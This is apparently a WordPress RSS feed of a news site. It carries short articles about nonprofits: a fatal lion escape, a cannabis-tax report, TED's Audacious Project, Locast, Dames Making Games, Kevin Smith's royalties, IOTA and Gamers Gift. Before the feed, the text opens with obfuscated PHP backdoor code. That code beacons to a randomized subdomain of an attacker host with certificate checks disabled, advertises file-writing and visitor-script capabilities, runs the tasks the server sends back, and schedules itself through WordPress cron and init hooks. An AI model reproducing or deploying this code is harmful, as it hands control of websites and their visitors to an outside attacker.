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$len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); nonprofit – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Mon, 31 Dec 2018 10:42:06 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png nonprofit – Brief News https://briefnews.eu 32 32 A lion has escaped from an enclosure at a North Carolina wildlife non-profit and killed one person https://briefnews.eu/a-lion-has-escaped-from-an-enclosure-at-a-north-carolina-wildlife-non-profit-and-killed-one-person/ https://briefnews.eu/a-lion-has-escaped-from-an-enclosure-at-a-north-carolina-wildlife-non-profit-and-killed-one-person/#respond Mon, 31 Dec 2018 10:42:06 +0000 http://briefnews.eu/a-lion-has-escaped-from-an-enclosure-at-a-north-carolina-wildlife-non-profit-and-killed-one-person/ lion attack

  • A lion escaped from an enclosure and killed a worker at the Conservators Center, a wildlife non-profit in North Carolina.
  • The lion was shot and killed after it attacked the worker in an enclosure that was being cleaned, Associated Press reports.
  • Officials are withholding the name of the victim until the family is notified.

A lion has escaped from its enclosure at a wildlife conservatory in North Carolina and attacked and killed a worker, Associated Press reported on Sunday. 

The lion was shot and killed after it escaped during a routine cleaning of its enclosure at the Conservators Center in Burlington, North Carolina AP reports citing a statement released by the Center.

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]]> https://briefnews.eu/a-lion-has-escaped-from-an-enclosure-at-a-north-carolina-wildlife-non-profit-and-killed-one-person/feed/ 0 Legalizing cannabis would pay for the NHS – non-profit report https://briefnews.eu/legalizing-cannabis-would-pay-for-the-nhs-non-profit-report/ https://briefnews.eu/legalizing-cannabis-would-pay-for-the-nhs-non-profit-report/#respond Mon, 04 Jun 2018 11:05:52 +0000 http://briefnews.eu/legalizing-cannabis-would-pay-for-the-nhs-non-profit-report/ The UK “can’t afford” to ignore the lucrative benefits of legalizing cannabis, an international development organization has warned, claiming the class-B drug could earn the economy up to £3.5 billion ($ 4.7 billion) a year.

While Westminster is at loggerheads over the much-debated issue of legalizing the drug for medical purposes, a new report published on Saturday by Health Poverty Action sets out huge economic and social benefits that the country could yield from cannabis tax income.

Martin Drewry, director of the non-profit Health Poverty Action, said: “This week Canada will become the first G7 country to vote to legalize and regulate cannabis, it is clear that the war on drugs has failed and that responsible regulation protecting public health is the way forward.”

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The report argues that the money gained by legalizing cannabis could be used to support public services. It singled out the NHS, which is facing an unprecedented staff and funding crisis, claiming that revenue from cannabis taxation could write off the service’s £1 billion ($ 1.3 billion) deficit.

“And with the NHS on the brink, this kind of tax revenue is hard to ignore. The time has come for the UK to catch up with this global shift – we really cannot afford to be left behind,” Drewry said.

The research also dismissed the idea that legalization would increase consumption among young people.

“The early indications from the US states where the newly regulated markets are most developed, are that teenage use of cannabis has not risen, as opponents of legalization had feared; whilst at the same time new cannabis taxes are bringing in vital revenues to help fund public services,” the study’s authors state.

The report comes shortly after an all-party parliamentary committee (APPG) heard from four MPs, who are also doctors, arguing for the legalization of cannabis for medical use. If approved, it would be the first step towards Britain’s complete legalization of the drug.

While the Greens and the Liberal Democrats are enthusiastic about a regulated cannabis market, the two main parties, the ruling Conservatives and the opposition Labour Party, are yet to be swayed.

The Home Office recently said that it has no plans to legalize the drug. The government argues that legalizing cannabis “would send the wrong message to the vast majority of people who do not take drugs.”

The APPG’s co-chair Mike Penning sought to crush the hopes of those campaigning for legalization, saying: “I would not be part of or even consider being a party of an APPG where [legalization] was the end goal.”

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]]> https://briefnews.eu/legalizing-cannabis-would-pay-for-the-nhs-non-profit-report/feed/ 0 TED has launched a $250 million project to model ‘what an IPO for the nonprofit world might look like’ https://briefnews.eu/ted-has-launched-a-250-million-project-to-model-what-an-ipo-for-the-nonprofit-world-might-look-like/ https://briefnews.eu/ted-has-launched-a-250-million-project-to-model-what-an-ipo-for-the-nonprofit-world-might-look-like/#respond Thu, 12 Apr 2018 00:24:36 +0000 http://briefnews.eu/ted-has-launched-a-250-million-project-to-model-what-an-ipo-for-the-nonprofit-world-might-look-like/ Raj PrakashLast Mile Health

  • TED has launched the $ 250 million Audacious Project, an annual initiative to back world-changing ideas.
  • Funders include The Bill and Melinda Gates Foundation, the Dalio Foundation, the Skoll Foundation, and Virgin Unite.
  • Dr. Raj Panjabi, CEO of Last Mile Health, is one of the first recipients.

Dr. Raj Panjabi is probably the last person to ever get the $ 1 million TED Prize — a sum of money given at the annual ideas conference to make someone’s big, world-changing wish a reality. It’s not that the prize given to Panjabi, a physician at Harvard Medical School and co-founder and CEO of Last Mile Health, a nonprofit that works with community health workers to expand healthcare access in remote areas, was somehow unsuccessful.

If anything, it was too successful. Panjabi’s dreams were larger than a $ 1 million prize.

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]]> https://briefnews.eu/ted-has-launched-a-250-million-project-to-model-what-an-ipo-for-the-nonprofit-world-might-look-like/feed/ 0 Keep in Mind: Remastered will donate all game revenue to the nonprofit Child’s Play https://briefnews.eu/keep-in-mind-remastered-will-donate-all-game-revenue-to-the-nonprofit-childs-play/ https://briefnews.eu/keep-in-mind-remastered-will-donate-all-game-revenue-to-the-nonprofit-childs-play/#respond Fri, 09 Mar 2018 08:42:23 +0000 http://briefnews.eu/keep-in-mind-remastered-will-donate-all-game-revenue-to-the-nonprofit-childs-play/

Little Moth Games’ narrative adventure Keep in Mind: Remastered tackles crucial topics like depression, abuse, and alcoholism. The two-person studio teamed up with publisher Akupara Games to release it on PC, iOS, and Android today. All profits will go directly to the Child’s Play, a charity that provides consoles and games for children in hospitals.

Keep in Mind follows the journey of Jonas through a personal purgatory of sorts where he must find a way to conquer his literal and metaphorical demons. The landscape and creatures are shown in stark black and white with piercing accents of red. These represent the things that alcoholism and other issues that plague him.

Little Moth’s CEO and cofounder Cherylynn Lima says that she and cofounder Ian Melinn both have loved ones who have struggled with alcoholism, and that’s what inspired the game. Keep in Mind encapsulates many of the things they’ve wanted to say to the people in their lives, and the studio hopes it can act as a conversation starter about such difficult topics.

“It’s a sickness that has taken precious moments from our childhood and warped them into events that a child should never have to go through. It has changed people we once knew into unrecognizable entities, struggling to live normal, healthy lives,” said Lima in an email to GamesBeat. “About two years ago, those we loved were in a very dark place. At the time, their addictions had started to spiral out of control, and each day we suffered trying to understand and help them.”

The original Keep in Mind released in 2016 for PCs. The studio wanted to ensure more people could play it, so the remastered version is available on Windows and Mac as well as iOS and Android mobile devices. It also spent some time researching nonprofits before committing to Child’s Play, and the desire to contribute to charity also motivated Little Moth to re-release the game.

“While Keep in Mind can never be a substitute for therapy or medicine, we hoped that it could be used as a starting point to talk about these issues,” said Lima. “Depression, anxiety, grief, and other forms of mental illness and are often kept in the dark, and this is why they flourish. We need to talk to others and to ourselves to understand them: this is the first step to healing. “

]]> https://briefnews.eu/keep-in-mind-remastered-will-donate-all-game-revenue-to-the-nonprofit-childs-play/feed/ 0 Aereo-like NYC nonprofit Locast streams local TV for free https://briefnews.eu/aereo-like-nyc-nonprofit-locast-streams-local-tv-for-free/ https://briefnews.eu/aereo-like-nyc-nonprofit-locast-streams-local-tv-for-free/#respond Sat, 20 Jan 2018 01:37:17 +0000 http://briefnews.eu/aereo-like-nyc-nonprofit-locast-streams-local-tv-for-free/

A nonprofit is bringing local broadcast television to the online masses for free, but who knows how long that will last. The organization, Sports Fans Coalition, launched the streaming site Locast.org on January 11th, letting anyone in New York City’s five boroughs watch content from 15 local channels without paying a dime — at least until the lawsuits start flying.

That’s because a similar service, Aereo, tried to snag over-the-air TV broadcasts and stream them as their own $ 8 per month subscription service. The Supreme Court deemed that illegal for violating copyright law back in 2014, and Aereo shut down. Locast may run afoul of that argument since it’s technically live-broadcasting other channels’ content without their approval. But it’s otherwise different, only providing local channels to users in New York City, streaming content for free (though they encourage minimal donations to cover costs) and operating as a nonprofit. The Locast team believes the site performs a public service:

“You wouldn’t guess it from the size of your cable or satellite bill, but over-the-air broadcast was always supposed to be free to the public. Even if you try to get that over-the-air signal using a regular indoor antenna, that often doesn’t work if you live in a basement apartment or somewhere else the signal can’t reach,” states Locast’s site. “You deserve unfettered access to your local broadcast. We’re here to give it to you.”

In the Sports Fans Coalition’s view, Locast operates like a traditional relay station, sending over-the-air broadcast signals only to New Yorkers. David Goodfriend, cofounder of the new service, told Bloomberg that Locast should be able to legally retransmit broadcasts thanks to a part of US federal copyright law that permits nonprofits to do so without the approval of stations or owners. This section was added in the 1970s to assist folks living in places with bad reception, Bloomberg pointed out. Locast is just gathering broadcasts using an antenna in Long Island and retransmitting them online.

Goodfriend is a law professor at Georgetown, former executive at Dish Network and was a legal adviser to the FCC. In fact, while there, he urged the agency to eliminate a rule barring local broadcasting of NFL games that weren’t sold out, Bloomberg reported: In other words, he’s not walking into this issue blindly, and ‘expects an angry call from lawyers at CBS or NBC any day now.’

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]]> https://briefnews.eu/aereo-like-nyc-nonprofit-locast-streams-local-tv-for-free/feed/ 0 Dames Making Games must find a new home for its inclusive nonprofit workspace https://briefnews.eu/dames-making-games-must-find-a-new-home-for-its-inclusive-nonprofit-workspace/ https://briefnews.eu/dames-making-games-must-find-a-new-home-for-its-inclusive-nonprofit-workspace/#respond Sat, 02 Dec 2017 17:01:37 +0000 http://briefnews.eu/dames-making-games-must-find-a-new-home-for-its-inclusive-nonprofit-workspace/

Dames Making Games is a Toronto-based arts nonprofit that focuses on creating an inclusive community for video game developers, particularly those who are transgender, nonbinary (not identifying as only a man or woman), and women. Since the start, its home has been Gamma Space, a coworking and event space for indie devs. Unfortunately, Gamma Space announced that it will be closing at the end of this year.

“It’s a major blow, but we knew the day would come that our lease would be up and renewing it financially impossible,” said Jennie Robinson Faber, DMG’s cofounder and executive director, in an email to GamesBeat. “The looming threat of losing our space is what brought the community together when the Toronto Media Arts Centre first launched its lawsuit over the facility back in 2015. Two hundred people showed up to our neighborhood library basement to share its concerns with city staff.”

DMG came together in 2012, and since then, it’s hosted numerous game jams, workshops, and events like Damage Camp, which showcased the works of local developers. It also consults with game studios and startups on how to improve diversity in their hiring practices — as well as how to retain those employees.

In addition to co-founding DMG, Faber is also the vice president of Toronto Media Arts Centre (TMAC), a non-profit that seeks to cultivate local arts and media organizations. DMG and Gamma Space are both TMAC members. Access to a physical space for TMAC organizations has always been a concern. It’s currently in the midst of a dispute with the city of Toronto and urban developer Urbancorp over a facility that it was supposed to be able to move into in 2015.

“The ability to quickly put together a workshop and respond to member interests has been imperative to our growth,” said DMG’s programming director Izzie Colpitts-Campbell. “Having a permanent home means our membership feels safe and welcome and free to create, but also organizers can easily try new things, see what worked and didn’t and adapt.”

Below is GamesBeat’s full interview with Faber and Colpitts-Campbell.

Above: A presentation from Dames Making Games’ Damage Camp event.

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GamesBeat: How has Dames Making Games evolved over the last five years?

Faber: Dames Making Games grew out of grassroots community interest and as a response to the need for more inclusive access to independent video game arts and culture. We were able to fill that need the moment the community came together, with our access to regular physical meetup venue through a partnership with Gamma Space (a coworking space for game developers here in Toronto that opened the same month as DMG). Gamma always been our home, and our organizations have grown up together. We started running events immediately, and had held six speaker nights, two game jams and a 6-week intensive program before incorporating as a nonprofit in August 2012. DMG now offers year-round programming and exhibitions and supports over hundreds of members.

In half a decade, we’ve built a community of 500 artists, developers, studios and partners who have launched dozens of games and companies, secured close to a million dollars in public and private funding, hired hundreds of full-time employees and contractors, supported two dozen high school and college interns, run over 400 events, consulted for arts funders and industry associations across the globe – while maintaining a community-based, grassroots, inclusive and diverse space to launch all this from.

DMG is an arts nonprofit, and our programming revolves around our members. Our evolution since 2011 has been about becoming more responsive to their needs, building in administrative processes that create a more inclusive and expansive space, and ensuring work by our members is recognized.

Our programming adapts to community interests. One season we might have a bunch of tool- or programming language-focused workshops, and the next we’re focused on salons and reading nights. We have our regular speaker socials, held every month to provide a low-pressure and supportive space for folks to present their game-related projects and ideas; open work session nights on Wednesdays; our low-key game jams every couple of months; and our 6-week intensive programs for people brand-new to game design and VR.

Colpitts-Campbell: With the growth of the community and the curriculum we’ve developed, we can also bring our workshops to other organizations. Generally, we connect conferences, professional associations and other nonprofits with expertise in our membership. Right now, we’re doing game development workshops with Heydon Park Secondary School, an all-girls public high school here in Toronto.

GamesBeat: What does Gamma Space’s closure mean for the DMG community? What do you plan to do while you’re looking for a new home?

Faber: It’s a major blow, but we knew the day would come that our lease would be up and renewing it financially impossible. The looming threat of losing our space is what brought the community together when the Toronto Media Arts Centre first launched its lawsuit over the facility back in 2015. Two hundred people showed up to our neighbourhood library basement to share its concerns with city staff.

Toronto is increasingly hostile to arts nonprofits in need of space to serve their communities. We welcome tech giants that want to embed their technology in our private lives and laud our startup scene. This ecosystem relies on communities like ours to provide training, mentorship, and social support – while commercial rent skyrockets and property taxes double, pricing nonprofits out of their longtime homes and shutting new groups out. Space has been a challenge for decades, but these new commercial pressures make this the most urgent issue facing all arts groups in Toronto. We’ve been designated a UNESCO Creative City of Media Arts, but our creatives are suffering.

While we press for an interim solution to our homelessness, we’ll be bringing the DMG social on the road to local studios like Ubisoft, and downtown arts nonprofits. While dedicated space is at the core of our mandate, popping up in new spaces is an opportunity to make some new friends and we think it will be a lot of fun.

Colpitts-Campbell: The ability to quickly put together a workshop and respond to member interests has been imperative to our growth. Having a permanent home means our membership feels safe and welcome and free to create, but also organizers can easily try new things, see what worked and didn’t and adapt.

GamesBeat: Why are places and organizations like Gamma Space and TMAC important for the arts?

Faber: Networks of support – real support, like financial investment, access to space and equipment, and leaders engaged in an anti-oppressive framework prioritizing the success of marginalized people – are vital to transforming both the mainstream games culture and the media arts sector. These organizations make space for diverse voices to experience, create and share stories; to articulate different and shared values. Through partnerships, they exponentially increase the capacity of other arts organizations – in Toronto, especially film festivals – to expand their programming, engage constituents and nurture new artists. These organizations are rooted in service to art-makers, collectivity and ownership. That’s why the security of a roof and walls is critical.

Colpitts-Campbell: Space to explore and create is really what the arts is about. It’s hard to think of something more important than that. Resilience and creative resourcefulness are the greatest strengths of artists and arts communities. If we don’t have space we’ll always find some little nook or cranny to fill, but for me the greatest potential for art is possible when given more space – we will fill it. It’s why art and tech go so beautifully together. Technology is being created at such a rapid pace, half the time the industry doesn’t know what to do with it. Artists are amazing at exploring the possibilities of these new technologies and changing how we think about and build technology as a whole. Places like Gamma Space and TMAC are the conduit to get these resources out to artists.

GamesBeat: Do you believe the dispute over 36 Lisgar, the facility under dispute, is nearing its end? Is finding physical space one of the biggest challenges of running something like DMG, or is it something else?

Faber: Our lawsuit against the City of Toronto and Urbancorp is very close to being resolved. We’ve spent the last two years negotiating a settlement and we’re in the final step – waiting to sign it.

We did expect to have that done by now and to have moved in, but it’s a very complicated deal. Unfortunately, any delays to taking occupancy have a massive impact on our communities, who rely on using our space and equipment and having access to other members every day. The longer we’re without a home, the higher the cost of continuing to run our programs and support our members.

Colpitts-Campbell: With moving boxes piling up and leases ending, the pressure on TMAC to get this project’s momentum going feels very real and amazingly powerful.

Faber: We’ll do whatever we have to in order to preserve our community.

Another challenge we face is funding. We’re lucky in Canada, and especially Toronto, that our arts councils recognize video games within media arts funding envelopes and offer operating funding streams. But from the start we’ve been aiming to build an organization that doesn’t rely on grants alone. This has meant scaling what we do within the resources that we have, while ensuring instructors and artists are paid for their time and work.

GamesBeat: What’s next for DMG? Can you tell me more about Damage Camp and any other initiatives you’ve got cooking?

Faber: DMG is building a future where everyone can express themselves freely through games, where play contributes to a more just and equitable world. We are very grounded in the heart of our neighbourhood – Toronto’s West Queen West – and the history of artist-run centres here. Our mandate is to create an accessible, diverse and collaborative space where anyone can engage meaningfully with video games, digital art and immersive media art all year round, so that we can build and grow our capacity to impact culture and industry.

Colpitts-Campbell: Damage Camp was an opportunity for us to present the work our community does, and celebrate all the amazing people who make DMG what it is. We were approached by the organizing committee (Kim Koronya, Kaitlin Tremblay and Jen Costa) over the summer. The timing worked perfectly as we thought we were close to wrapping up negotiations for TMAC, and were thrilled when the TMAC board agreed it would be an amazing inaugural event in the space!

Faber: We scrubbed bathrooms and mopped floors and cleaned grime off surfaces for two days – the space had been sitting empty for years at that point and was covered in dust. It was a labor of deep love for this community and our future in that space. I’ve never been happier on my hands and knees in a toilet stall.

Colpitts-Campbell: And seeing DMG members, people from the neighborhood, folks from other organizations who’ve been waiting for TMAC for 25 years fill the space was magical.

GamesBeat: Is there any way folks can support Dames Making Games during this period of transition?

Faber: Our biggest need is financial. We make very little go a very long way, and reinvest everything into programs and support for the people who need DMG in order to make their art.

You can make a one-time or recurring donation in any amount online, or join as a member which also gives you access to our Slack group, recordings of past workshops, and more. We also have an Amazon wishlist, which is currently heavy on moving supplies. Tweets of encouragement and support to @DMGToronto mean the world to us!

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]]> https://briefnews.eu/dames-making-games-must-find-a-new-home-for-its-inclusive-nonprofit-workspace/feed/ 0 Kevin Smith is Donating His Weinstein-Tainted Royalties to the Non-Profit Women In Film https://briefnews.eu/kevin-smith-is-donating-his-weinstein-tainted-royalties-to-the-non-profit-women-in-film/ https://briefnews.eu/kevin-smith-is-donating-his-weinstein-tainted-royalties-to-the-non-profit-women-in-film/#respond Wed, 18 Oct 2017 14:42:04 +0000 http://briefnews.eu/kevin-smith-is-donating-his-weinstein-tainted-royalties-to-the-non-profit-women-in-film/ Kevin Smith was one of the first filmmakers to speak out against fallen indie mogul Harvey Weinstein, at a point when doing so was still kind of a big deal. It was especially significant for someone like Smith, who got his big break via Weinstein, and spent most of his career making movies for Miramax (Clerks, Chasing Amy, Jay and Silent Bob Strike Back, Jersey Girl) and The Weinstein Company (Clerks II, Zack and Miri Make a Porno). Smith tweeted that he “felt ashamed” that “while I was profiting, others were in terrible pain.” And now he intends to pay some of that profit forward.

“My entire career is tied up with the man,” Smith tells a live audience on a new episode of his Hollywood Babble-On podcast. “I’m not a victim in this. This is not about me at all. We know who the victims are. But my shit is tied up with this man… I had a dream and I made it, and I presented it to somebody, and they didn’t make me do something fucking horrible. So I feel like there are so many people that we know of now, and maybe even more, that were made to do horrible things to make their dreams come true and maybe didn’t even get to touch the dreams; this fucking dude chased them away.”

So what can Smith do now? “I work in an industry where thankfully there are dividends that come out of a movie for the rest of your life,” he explains, “so there’s such a thing as residuals, where I still get money for those movies, for the movies I made at Miramax and for the movies I made with at Weinstein. The first thing I feel like I can do is, I don’t want that anymore.” So Smith will instead donate all future royalties and residuals from those films to Women In Film, a not-for-profit organization that, per their website, “advocates for and advances the careers of women working in the screen industries – to achieve parity and transform culture.”

“That feels like a start,” Smith says. “Hopefully that goes to people that get to make shit without having to deal with some fucking animal saying, ‘Here’s the price.’”

The full podcast is below; the Weinstein discussion begins at 1:25:25.

                                    

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]]> https://briefnews.eu/kevin-smith-is-donating-his-weinstein-tainted-royalties-to-the-non-profit-women-in-film/feed/ 0 The former CIO of $3 trillion financial giant UBS has joined the non-profit behind one of the largest cryptocurrencies https://briefnews.eu/the-former-cio-of-3-trillion-financial-giant-ubs-has-joined-the-non-profit-behind-one-of-the-largest-cryptocurrencies/ https://briefnews.eu/the-former-cio-of-3-trillion-financial-giant-ubs-has-joined-the-non-profit-behind-one-of-the-largest-cryptocurrencies/#respond Sat, 16 Sep 2017 11:50:27 +0000 http://briefnews.eu/the-former-cio-of-3-trillion-financial-giant-ubs-has-joined-the-non-profit-behind-one-of-the-largest-cryptocurrencies/ Screen Shot 2017 09 13 at 2.59.30 PMIOTA

The former head of technology at one of the largest banks in the world has joined the team behind IOTA, the ninth largest cryptocurrency on the market.

Oliver Bussmann served as the chief information officer of Switerland-based UBS, the global financial services firm with $ 3 trillion under management, for three years from 2013 to 2016. 

Bussmann, who joined the bank after holding a number of top tech jobs at companies such as IBM and Deutsche Bank, led IT strategy and introduced blockchain, the technology behind cryptocurrencies like IOTA and bitcoin, to the bank. 

Since Bussmann left UBS, he has dived even deeper into the world of cryptocurrencies and blockchain, serving as the president of Crypto Valley Association since the beginning of 2017. He also is the founder of an advisory firm, Bussmann Advisory. 

And now he is joining the IOTA Foundation, the non-profit behind the ninth largest cryptocurrency of the same name. The IOTA Foundation owns the intellectual property of cryptocurrency IOTA, according to David Sønstebø, the founder of IOTA.

“We are thrilled to have one of the world’s foremost financial technology thinkers and actors with such gravitas and senior experience from world leading companies join the project,” Sønstebø said on Wednesday in a lively blog post. 

Sønstebø told Business Insider that Bussmann will be an employee of the Foundation and serve as a global representative and key adviser.

“Bussmann will represent the Foundation throughout the world,” Sønstebø said.”This isn’t the standard advisory role, he will dedicate a significant amount of time to raising awareness about what we are doing through his massive network.”

Bussmann is a well-known financial technology influencer. According to the blog post penned by Sønstebø, Bussmann has been included twice on the Financial News “FinTech 40” list of innovators. He also works closely with a number of non-profits. 

“As the former CIO of UBS, Oliver brings a wealth of knowledge that will be crucial for the Foundation as we move forward with big upcoming projects,” Sønstebø added. 

Bussmann joins the Foundation as it rolls out a new marketplace platform based on IOTA’s blockchain technology that will allow companies to exchange data. Already, it is working with Bosch, the Germany-based autoparts maker, and EWE, a German energy and IT technology company.

IOTA, the ninth largest cryptocurrency by marketcap, began trading in June of 2017. It trades at around $ .50 a coin, according to data from Coinmarketcap.com. 

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Just about three years after his company’s acquisition by Facebook, Brian Acton has announced he’s departing WhatsApp. Eight years ago Acton, along with Jan Koum, launched the messaging app that now counts more than a billion daily users, quickly spreading across many mobile platforms to create a worldwide community of users even in areas where iOS and Android hadn’t reached yet. Now, thanks to the “flexibility” from selling a company for $ 22 billion (Forbes estimates his wealth at $ 6.5 billion) Acton is launching a non-profit that is “focused at the intersection of nonprofit, technology and communications.”

There aren’t a lot of details on his decision or exactly what will come next, but it comes at a time when Whatsapp is moving on from its original form. Beyond squabbles with governments over encryption and privacy, the platform has added filesharing, mobile payments, status updates and acting as a communication tool for businesses.

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]]> https://briefnews.eu/whatsapp-co-founder-leaves-to-start-a-nonprofit/feed/ 0 Gamers Gift VR nonprofit is raising money on Twitch to help the sick and elderly https://briefnews.eu/gamers-gift-vr-nonprofit-is-raising-money-on-twitch-to-help-the-sick-and-elderly/ https://briefnews.eu/gamers-gift-vr-nonprofit-is-raising-money-on-twitch-to-help-the-sick-and-elderly/#respond Fri, 04 Aug 2017 10:20:00 +0000 http://briefnews.eu/gamers-gift-vr-nonprofit-is-raising-money-on-twitch-to-help-the-sick-and-elderly/

Gamers Gift is a student-run nonprofit that believes in the power of virtual reality. It’s been around for about a year-and-a-half, and in that time, it’s raised over $ 50,000 and developed ongoing relationships with hospitals and assisted-living facilities, where it hosts monthly VR experiences. Starting today, it’s raising funds on the livestreaming platform Twitch, where founder and CEO Dillon Hill and one other volunteer from the Gamers Gift staff will be playing games like the classic Minesweeper to Grand Theft Auto V.

Hill just finished his first year at University of California, Davis, and volunteer work and games have both been important to him for most of his life. The inspiration for Gamers Gift emerged out of his dissatisfaction with his community service experiences in middle and high school, as well as his personal experiences with games.

“It was just frustrating that the volunteer time I was spending — it felt kind of meaningless. Like, in a hospital we were just doing paperwork instead of actually helping patients,” said Hill in a phone call with GamesBeat. “The other inspiration would be the fact that, for a lot of my life, my family and friends and people I knew would put video games down as a waste of time, or just a useless hobby that doesn’t really do much for you.”

Hill recalls that when his best friend, Chris, was diagnosed with leukemia in fifth grade, playing games was their only respite. And again, when Chris’s sister took her life, it was a way for the two of them to connect and work together through an emotionally trying time.

“I was close to him, close to his sister, close to his entire family. It was really confusing for all of us,” said Hill. “We didn’t have a lot of opportunities — or really the ability — to talk about how we were feeling to each other, Chris and I. We played Counter-Strike and Mortal Kombat as a way to work together on something. It made us feel closer.”

Community is a big part of what Gamers Gift hopes to foster. It brings VR experiences to create social events at places like children’s hospitals or for people with disabilities, and it also hopes to give people a chance to experience or re-live something that they otherwise might not get a chance to.

“It’s interesting, especially with the assisted living facilities, because it’s next-gen technology being used by an older generation of people, trying to explain it to them, and getting them to try it,” said Hill. “Once they try it, they’re really excited. They realize, wow, this is really neat. It takes them back to a younger generation, when they were younger.”

Owlchemy Labs’s Job Simulator is a big hit at children’s hospitals, Hill says. Virtual tourism experiences like Wevr’s underwater simulator TheBlu: Encounter are also popular, particularly at assisted living facilities.

“We’ve introduced it to people who used to scuba dive all the time, elderly people who haven’t done it in years, and they say it’s exactly like the real thing,” said Hill. “It’s really immersive. There’s also a skiing experience — we had one woman who used to ski all the time who was interested in trying it, and we were able to find it for her.”

For the older audience, Hill says that they often use Google Street View to help them revisit their old neighborhoods. In one particular instance, they used a combination of Street View and roller coaster simulation software to recreate a woman’s first date with her husband on the anniversary of his death.

Gamers Gift has reached out to some developers to explore creating more bespoke VR experiences for their community, but it’s a tough proposition.

“We’ve had some issues there because either we go to an indie developer that’s a bit smaller – a lot of people are with VR – and it’s hard for them to get the manpower behind it in a reasonable time frame,” said Hill. “And then the larger studios are busy on huge projects and that makes it hard.”

Gamers Gift itself is a fairly bare-bones operation. Hill and five other volunteers staff the nonprofit, though none of them takes a salary. They also have about 20 other volunteers that help them go out to different facilities within a four-hour driving distance of their home base in Davis, California. In the future, Hill hopes that they’ll be able to open up chapters in other locations. The amount of work it takes is daunting, though; people have expressed interest in doing so, but are often unable to commit because of time and resources.

“We try to limit ourselves to four hours from where we are now. Beyond that, there are so many places that don’t get to experience it – so many kids in the hospital, so many elderly, so many people who could benefit from being able to experience these things,” said Hill. “We just can’t reach them, which is really frustrating.”

The goal of its Twitch marathon is to raise money to help with their local efforts. It springboarded off an inside joke between Hill and his friend.

“Chris and I used to have — now that I look back on it, it’s not very funny — but we had an inside joke where, when our parents or our friends would make fun of how much time we spent on video games, we would say, ‘Oh, well, at least we’re not sitting here mindlessly playing Minesweeper,’” said Hill with a laugh. “We mentioned that story — I guess it’s not really a joke at all — to our Twitch audience, and somehow that manifested into, ‘Well, we should do a marathon Minesweeper stream.’”

Fortunately for Hill — as well as Twitch viewers — Gamers Gift isn’t actually only streaming Minesweeper for 168 hours. So far, Hill has streamed titles like multiplayer first-person shooter Team Fortress 2, Grant Theft Auto V, and indie survival game Don’t Starve Together. The stream started with four hours on the clock, and each dollar donated will add another minute though it will max out at seven days. Currently, it’s raised a little over $ 300.

“We keep going as long as people were willing to keep donating, and all the donations that come in are going straight to Gamers Gift,” said Hill.

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